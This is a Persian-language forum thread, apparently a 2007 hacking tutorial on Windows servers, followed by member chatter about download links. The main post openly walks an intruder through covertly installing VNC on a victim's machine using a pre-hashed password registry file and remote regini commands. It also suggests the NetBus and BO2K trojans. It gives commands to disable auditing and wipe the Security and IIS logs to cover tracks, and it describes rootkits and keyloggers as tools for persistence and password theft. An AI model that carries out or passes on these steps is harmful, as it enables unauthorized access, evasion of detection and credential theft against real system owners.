    من خيلي خوشم مياد ازش! دوستش دارم! نصب کردنش روي کامپيوتر قرباني يه کم سخته ( چون اصولا اين يک تروجان نيست، يه محصول باشخصيت*ه! ). اول بايد از
    اينجا اونو داون*لود کنيد. بعد فايل*هاي winvnc.exe و vnchooks.dll و omnithread_rt.dll رو به کامپيوتر قرباني و در يک فولدر خاص مي*فرستيم. بعد مي*يايم و يک فايل به اسم مثلا winvnc.ini ايجاد مي*کنيم که کارش اينه که يک سري تغييرات در رجيستري ايجاد کند و يک پسورد واسه VNC ست کند. VNC از الگوريتم 3DES واسه hash کردن رمز استفاده مي*کنه و رمز را در HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 دخيره مي*کند. مي*تونيد يک پسورد رو ست کنيد و بعد ببينيد که چه شکلي ذخيره ميشه. اگه پسورد انتخابي کلمه secret باشه، معادل hash شده اون در VNC عبارت: 0x57bf2d2e 0x9e6cb06e خواهد بود. پس من اگه پسورد انتخابي*ام کلمه secret باشه، حالا بايد يک فايل درست کنم مثلا به اسم winvnc.ini که توش اينها باشه:
    HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 SocketConnect = REG_DWORD 0x00000001 Password = 0x00000008 0x57bf2d2e 0x9e6cb06eو بعد به کمک regini ( که قبلا گفتم يک ابزار از NTRK است ) به صورت ريموت ( يعني از کامپيوتر خودمان ) دستور زير رو اجرا مي*کنيم:
    regini -m \\xxx.xxx.xxx.xxx winvnc.iniحالا که ما تونستيم تغييرات رو در رجيستري اعمال کنيم، بايد سرويس رو آغاز کنيم. مي*نويسيم:
    winvnc -installnet start winvncو کار تمام است. حالا در کامپيوتر خودمون برنامه vncviewer رو اجرا کرده و حالشو مي*بريم!

    + استفاده از NetBus و BO2K :
    خوب اين*ها تروجان هستند. هر تروجاني معمولا يک فايل براي ايجاد فايل سرور دارد. وقتي فايل سرور ايجاد شد، اونو به کامپيوتر قرباني کپي کرده و اجرا مي*کنيم. و بعد توسط کلاينت مربوطه به سرور متصل مي*شويم. ( کار با اين*ها بسيار ساده*است )


    - پاک کردن رد پا

    الف- ويندوز رويدادها را در کجا ذخيره و گزارش ( log ) مي*کند؟
    در ويندوز سه فايل داريم که در اون*ها لاگ*ها ذخيره مي*شوند: AppEvent.Evt و SecEvent.Evt و SysEvent.Evt که از بين اين*ها اوني که بدرد ما مي*خوره، فقط SecEvent.Evt است که محل ذخيره تلاش*ها ناموفق براي وارد شدن به سيستم ( مثلا با کمک يک کرکر ) و ... است. مسيري که اين سه فايل قرار دارند، اينجاست:

    %SystemRoot%\System32\Configدر خود ويندوز به کمک EventViewer ( کافي است در Run بنويسيد: eventvwr.msc ) ميشه اين فايل*ها رو بررسي کرد. ضمنا تغيير دادن اين فايل*هاي لاگ، نياز به دسترسي به سيستم در سطح Admin دارند. اين ابزار بدرد ما نمي*خوره، ما مي*خوايم ردپاهاي خودمون رو پاک کنيم و نيز دسترسي به صورت فيزيکي ( يا توسط يک ريموت کنترل گرافيکي ) به سيستم قرباني نداريم:
    + غير فعال کردن گزارش گيري:
    اولين کار اينه که Auditing رو غير فعال کنيم. اين کار توسط يک ابزار از NTRK به نام auditpol قابل انجام است. مي*نويسيم:

    auditpol /disableبا اين دستور ديگه هيچ گزارشي اضافه نخواهد شد. ( ولي گزارش*هاي بعدي باقي خواهند ماند ) اگه بخوايم دوباره فعال کنيم،*مي*نويسيم:
    auditpol /enableمشخص است که اين ابزار بايد به صورت لوکال استفاده بشه. يعني چون ما مي*خواهيم اين کارها رو در سرور قرباني انجام بديم، اين ابزار رو همونجا فرستاده و اجرا مي*کنيم.
    + پاک کردن SecurityLog :
    گفتم که بين همه لاگ*ها اين مهم*تره، حالا مي*خوام اين فايل رو پاک کنم. براي اين کار ابزاري هست به نام
    elsave که به صورت ريموت اين کار رو مي*کنه. مثلا اگه بنويسم:
    elsave -s \\xxx.xxx.xxx.xxx -l "Security" -Cبه صورت ريموت سکيورتي*لاگ رو پاک مي*کنه ( قبلش بايد يک session مي*داشتم تا اين دستور کار کنه) دقت کنيد که به صورت لوکال و با دستور del نمي*شه اين فايل*هاي لاگ رو پاک کرد!
    + ابزارهاي ديگه از NTRK در اين زمينه:
    ابزارهاي ديگه*اي هم هستند مثل dumpel که در گزارش گيري از لاگ*ها و ... کاربرد دارند.

    ب- IIS گزارش*ها رو در کجا ذخيره مي*کند؟
    IIS رفيق فابريک منه! وقتي شما يک سايت رو مي*ريد و مي*بينيد ( يا توسط يک باگ در IIS به سيستم وارد مي*شويد* ) فعاليت*هاي شما در فايلي ذخيره و Log مي*شود. اول اين نکته رو مي*دونيد که يک سرور مي*تونه توش سايت*هاي مختلف و Virtual Diectory هاي مختلفي باشه. هر کدام از اين سايت*ها لاگ IIS مخصوص به خود خواهند داشت. مسيري که لاگ*هاي IIS قرار مي*گيرند، اينه:

    %SystemRoot%\System32\LogFilesدر اين فولدر، زيرشاخه*ها ( فولدرهاي جديدي ) هست. به اين ترتيب که واسه هر سايتي يه فولدر هست. اسم اين فولدرها به صورت W3SVC1 و W3SVC2 و ... است. داخل اين فولدرها فايل*هاي لاگ جاي دارند. حالت پيش*فرض اينه که گزارش*هاي هر روز سايت داخل يک فايل ذخيره ميشه. اسم فايل جور خاصي است که تاريخ ( سال - ماه - روز ) رو نشون بده. مثلا اگه فولدر وربوط به يک سايتي W3SVC1 و تاريخ مورد نظر ما سال ۲۰۰۳ و ماه ۹ و روز ۱۲ باشه، اسم فايل لاگ اين خواهد بود:
    %SystemRoot%\System32\LogFiles\W3SVC1\ex030912.logبرخلاف فايل*هاي لاگ ويندوز که با دستور del قابل پاک*کردن نبود، فايل*هاي لاگ IIS خيلي شيک با del پاک مي*شه ( چون ويندوز اين فايل*ها رو Lock نمي*کنه). بنابراين ما بايد تمام لاگ*هاي مربوط به روز خاصي که جايي رو هک کرده*ايم رو پاک کنيم!


    - RootKit چيست؟

    دليل اصلي استفاده از rootkit ها اين است که هکر بتونه براي مدت بيشتري در کامپيوتر قرباني دوام بياره. فرض کنيد که يک تروجان به کامپيوتر قرباني فرستاده*ايد يا از کامپيوتر قرباني براي يک DDoS گسترده مي*خواين استفاده کنيد. مسلم است که اگه طرف مقابل آدم مجربي باشه، با کمي بررسي سيستم*عامل خود پي خواهد برد که يک SpyWare در کامپيوترش هست. ولي وقتي Rootkit استفاده بشه، سيستم*عامل جوري تغيير مي*کنه که اين تغييرات نشون داده نشه. به عنوان مثال يکي از راه*هايي که مسوول سرور مي*فهمه که کامپيوترش هک شده و يک سرور ( تروجان ) ناخواسته داره، بررسي پورت*هاي باز کامپيوتر توسط دستور netstat است. حالا اگه ما اين دستور رو جوري تغيير دهيم ( يعني اگه يک نسخه جديد از اين برنامه با توجه به نيازهامان ايجاد کرده و در کامپيوتر قرباني نصب کنيم ) در واقع اين روش رو غير فعال کرده*ايم. rootkit ها مي تونند خود سيستم*عامل رو هدف قرار بدهند. مسلم است که نوشتن يک rootkit براي سيستم*عامل*هاي open-source مثل linux بسيار راحت*تر از ايجاد rootkit براي ويندوز است. اما بايد توجه کنيد که rootkit رو ميشه به دو دسته تقسيم کرد:
    ۱- آن دسته از Rootkit هايي که قسمت*هايي از سيستم*عامل ( تعدادي از فايل*هاي اجرايي اونو ) تغيير مي*دهند. مثلا بعضي Registry Key ها رو مخفي کنند يا مخفي کردن پروسس*ها يا محفي کردن فايل*هاي تروجان و ... همچين rootkit هايي براي ويندوز طراحي شده اند.
    ۲- آن دسته از Rootkit هايي که در سطح هسته ( کرنل ) سيستم*عامل عمل مي*کنند. براي اين*گونه از rootkit ها براي مثلا لينوکس مثال*هايي هست ولي براي ويندوز ( خصوصا ويندوز سرورها که بحث ماست ) من مثالي که واقعا کار کنه و detect هم نشوند، سراغ ندارم.
    چند سايت در اين زمينه:
    http://www.rootkit.com و http://www.ntndis.com/downloads.shtml (نسخه آلفا از NT Rootkit )
    http://www.pestpatrol.com/Support/Downloads.asp ( به نام AFX Windows Rootkit 2003 )
    و ...


    - Keystroke Loggers و Sniffers

    بحث keylogger ها و sniffer ها يه درس مفصل رو طلب مي*کنه. فقط يه اشاره بکنم:
    sniffer ها کارشون اينه که پکت*هايي را که در شبکه ردو بدل مي*شوند، براي هکر ذخيره مي*کنند ( خود LC4 که توضيح دادمش، يک ابزار packet capture يا sniffer توش داره که challenge/response هاي LM و NTLM رو لاگ مي*کنه. بعدا توضيح خواهم داد )
    keylogger ها هم کارشون اينه که کليدهايي که فشرده مي*شوند ( مثلا از طريق keyboard ) رو ذخيره مي*کنند. مثلا وقتي کسي که کامپيوترش هک شده، و هکر يه keylogger روي کامپيوتر طرف نصب کرده است، وقتي قرباني معصوم مياد و پسورد يه جايي رو وارد مي*کنه، اين رشته ذخيره مي*شه و هکر هم اطلاعات رو مي*گيره و کيف مي*کنه


    - انواع exploit ها

    انواع exploit ها يه تقسيم*بندي کلي در مورد هک کردن هر نوع سيستم*عاملي است. چه ويندوز و چه غير*ويندوز:
    ۱- remote exploits: مجموعه*اي از exploit ها که ما از يک کامپيوتر ديگه ( مثلا کامپيوتر خودمون ) توسط اونا به يک کامپيوتر در شبکه نفوذ مي*کنيم. اين exploit ها معمولا در موارد اوليه هک استفاده مي*شوند. در صورت استفاده از اين exploit ها در ويندوز ممکن است دسترسي در سطح Admin رو به ما ندهند ولي وارد شدن به سيستم حتي به صورت يک اکانت محدود هم لازم است تا توسط exploitهاي local دسترسي رو بالاتر ببريم. وقتي به کمک يک vulnerability scanner يک کامپيوتر رو از نظر حفره*هاي امنيتي تست مي*کنيم، معمولا نهايتا به همين نوع exploit ها مي*رسيم.
    ۲- local exploits: اين exploit ها موقعي کاربرد دارند که يک console ( يا همون shell خودمون ) در سيستم داشته باشيم. به عبارت ديگه قبلا به طريقي به يک سيستم وارد شده*ايم ( توسط remote exploit يا داشتن اکانت*هاي محدود ) و حالا مي*خواهيم که دسترسي خودمون رو گسترش بديم. مثلا ما الان به صورت guest وارد شده*ايم ولي مي*خواهيم به دسترسي Admin برسيم. بنابراين مهم*ترين انواع اين exploit ها در ويندوز عبارتند از get admin ها يعني اونايي که ما رو از يک اکانت محدود به اکانت Administrator مي*رسونند.

    توضيحي که بايد بدم اينه که اين دو نوع exploit مکمل همديگرند. ( البته خيلي از exploit ها هستند که هم به صورت local و هم به صورت remote قابل استفاده هستند ). به عنوان يک هکر، اول کشف مي*کنيم که مثلا اين سيستم*عامل يک ويندوز ۲۰۰۰ سرور است. حالا به طريقي يه exploit از نوع remote بدست مي*اوريم ( اگه قبلا يک اکانت در اون سرور بدست آورده*ايم، ممکن است لزومي به اين مرحله نباشد ). حالا اگه به shell رسيديم و بخواهيم به فولدري دسترسي داشته باشيم که با اين shell نو رسيده! با توجه به مجوزهايش قابل دسترس نباشد، بايد از local exploit ها استفاده کنيم. ( اگه به فولدر مورد نظر دسترسي داشتيم که ديگه لازم نيست). خلاصه اينکه ممکن است در مواردي نياز به remote exploit يا local exploit يا هردو نباشد ولي بتونيم هک کنيم. به عبارت بهتر شرايط تعيين مي*کنه که به چه نوع exploit هايي نياز داريم.
    ادامه درس*هاي هک ويندوز سرور در واقع چيزي جز بررسي اين دو نوع exploit نيست.




    ویرایش توسط pastoo : 2007-11-08 در ساعت 08:50 AM
    zzzzesht و Gold_ سپاسگزاری کرده‌اند.

  7. #7
    نام حقيقي: Reza Behroozi

    عضو غیر فعال شناسه تصویری ahuray_mazdaa
    تاریخ عضویت
    Jun 2005
    محل سکونت
    Shiraz
    نوشته
    1,154
    سپاسگزاری شده
    227
    سپاسگزاری کرده
    115
    اگر امکانش هست بیوگرافی آراز صمدی رو برای کسانی مثل من که فقط اسمشون رو شنیدن بنویسید و مهمتر از همه از فعالیتهایی که انجام دادن




  8. #8
    نام حقيقي: پاشا

    عضو غیر فعال
    تاریخ عضویت
    Jun 2007
    نوشته
    12
    سپاسگزاری شده
    13
    سپاسگزاری کرده
    2
    مسله مهمی نیست
    سعی میکنم از ایشان دعوت کنم که در سایت مطلب بده . فعلا که مشغوله ولی به زودی میارمش

    موفق باشید



  9. #9
    نام حقيقي: پاشا

    عضو غیر فعال
    تاریخ عضویت
    Jun 2007
    نوشته
    12
    سپاسگزاری شده
    13
    سپاسگزاری کرده
    2
    متاسفانه تو فورم نمیشه مطالب را به درستی فرستاد سعی میکنم که این مطالب را در جایی آپلود کنم و لینک دانلود را بزارم


    Alux سپاسگزاری کرده است.

  10. #10
    نام حقيقي: Cisco

    عضو عادی شناسه تصویری ccna
    تاریخ عضویت
    Sep 2004
    محل سکونت
    Cisco
    نوشته
    260
    سپاسگزاری شده
    85
    سپاسگزاری کرده
    12
    آزاز صمدی می شناسم استاد ومدرس امنیت و هک

    مقالاتشو من همیشه پیگیر بودم مرکه بود ساده روان و گویا ...



  11. #11
    نام حقيقي: پاشا

    عضو غیر فعال
    تاریخ عضویت
    Jun 2007
    نوشته
    12
    سپاسگزاری شده
    13
    سپاسگزاری کرده
    2
    دوستان اجازه آپلود در سایت ندارم این 5 مقاله را در سایت رپیدشر آپلود کردم که کاری از دوست عزیزم حسین عسگری است . امیدوارم مورد استفاده قرار گیرد

    میتوانید از اینجا دانلود کنید


    ویرایش توسط pastoo : 2007-11-08 در ساعت 11:55 PM

  12. #12
    نام حقيقي: مهدي

    عضو عادی شناسه تصویری herus_deus
    تاریخ عضویت
    May 2004
    نوشته
    986
    سپاسگزاری شده
    328
    سپاسگزاری کرده
    164
    آقا این یه فیلم آموزشی بود.مقاله ای در کار نیست.


    pastoo سپاسگزاری کرده است.

  13. #13
    نام حقيقي: پاشا

    عضو غیر فعال
    تاریخ عضویت
    Jun 2007
    نوشته
    12
    سپاسگزاری شده
    13
    سپاسگزاری کرده
    2
    با تشکر از دوست عزیزم لینک را تصحیح کردم



  14. #14
    نام حقيقي: امید مهاجرانی

    عضو عادی
    تاریخ عضویت
    Dec 2005
    محل سکونت
    Tehran
    نوشته
    782
    سپاسگزاری شده
    725
    سپاسگزاری کرده
    79
    فکر کنم بازم لینک را اشتباه دادید . یا همین فایل های اجرایی هستن ؟






  15. #15
    نام حقيقي: پاشا

    عضو غیر فعال
    تاریخ عضویت
    Jun 2007
    نوشته
    12
    سپاسگزاری شده
    13
    سپاسگزاری کرده
    2
    دوست عزیزم فایل اجرایی هستن تست بفرمایید و پنجره سمت راست را انتخاب کنید



صفحه 1 از 2 1 2 آخرینآخرین

کلمات کلیدی در جستجوها:

spool در ویندوز

ويندوز سرور چيست؟

دانلود pipeupsam

spooler subsystem app چیست

کار با regini

spool چیست

spooler subsystem چیست

ویندوز سرور چیست

sub7نرم افزار

سرور ويندوز چيست

ویندوز سرورچیست

ويندوز سرور چيست

چیست spool

download pipeupsam

ویندوز spool

روش کار با bo2k

netlogonچیست

spooler subsystem appچيست

ُسرورچیست

log freeيعني

مشکل نمایش فایل های سیستم پس از تایپ c

مفهوم Spooler SubSystem App چيست

ارور spooler subsystem app چیست؟

spooler subsystem چیست؟

FAT32یعنی چه؟

برچسب برای این موضوع

2003, 3389, access, active, add, admin, administrator, application, authentication, automatic, backdoor, backup, batch, bios, browser, call, capture, cash, configuration, control, crack, credentials, das, date, ddos, delete, desktop, destination, dial-up, domain controller, download, drive, encrypt, event viewer, fast user switching, file sharing, html, http, image, img, ipsec, keylogger, lan, local, log on to, login, mailserver, manual, move, my computer, name resolution, net stop, net view, network connections, notification, page, patch, policy, profile, psd, receive, record, remo, remote desktop, report, restart, role, routing, routing and remote access, rule, run, secure, security, send, services, session, shared, shutdown, smb, smtp, snmp, snmp service, software, ssl, start, stop, switching, telnet, terminal services, time, update, upload, user, user manager, username, فیلم, فیلم آموزشی, فايروال, فتوشاپ, فروش, مهم, مجوز, مجازي, محافظت, نرم افزار, نصب شده, هک کردن, هاست, هستش, ويندوز سرور, ویندوز, ویندوز سرور, کلاینت, کمک, کنترل, کار, کارها, کاربران, کتاب, کرک, کردن, گزارش, پورت, پروتکل, view, virtual, vpn, web, webclient, windows, windows server, windows200, word, آموزشی, امنیت, انتقال, انجمن, اتصال, استاندارد, استاد, اطلاعات, بلاک, برنامه, برای, تفاوت, تجربه, تست, حداقل, حذف, خودش, دومين, دانلود, درخواست, دستور, دستور net use, دسترسي, روش, راه دور, راهنمایی, سایت, شما, شیر کردن اینترنت, صفحه

نمایش برچسب ها

مجوز های ارسال و ویرایش

  • شما نمی توانید موضوع جدید ارسال کنید
  • شما نمی توانید به پست ها پاسخ دهید
  • شما نمی توانید فایل پیوست ضمیمه کنید
  • شما نمی توانید پست های خود را ویرایش کنید
  •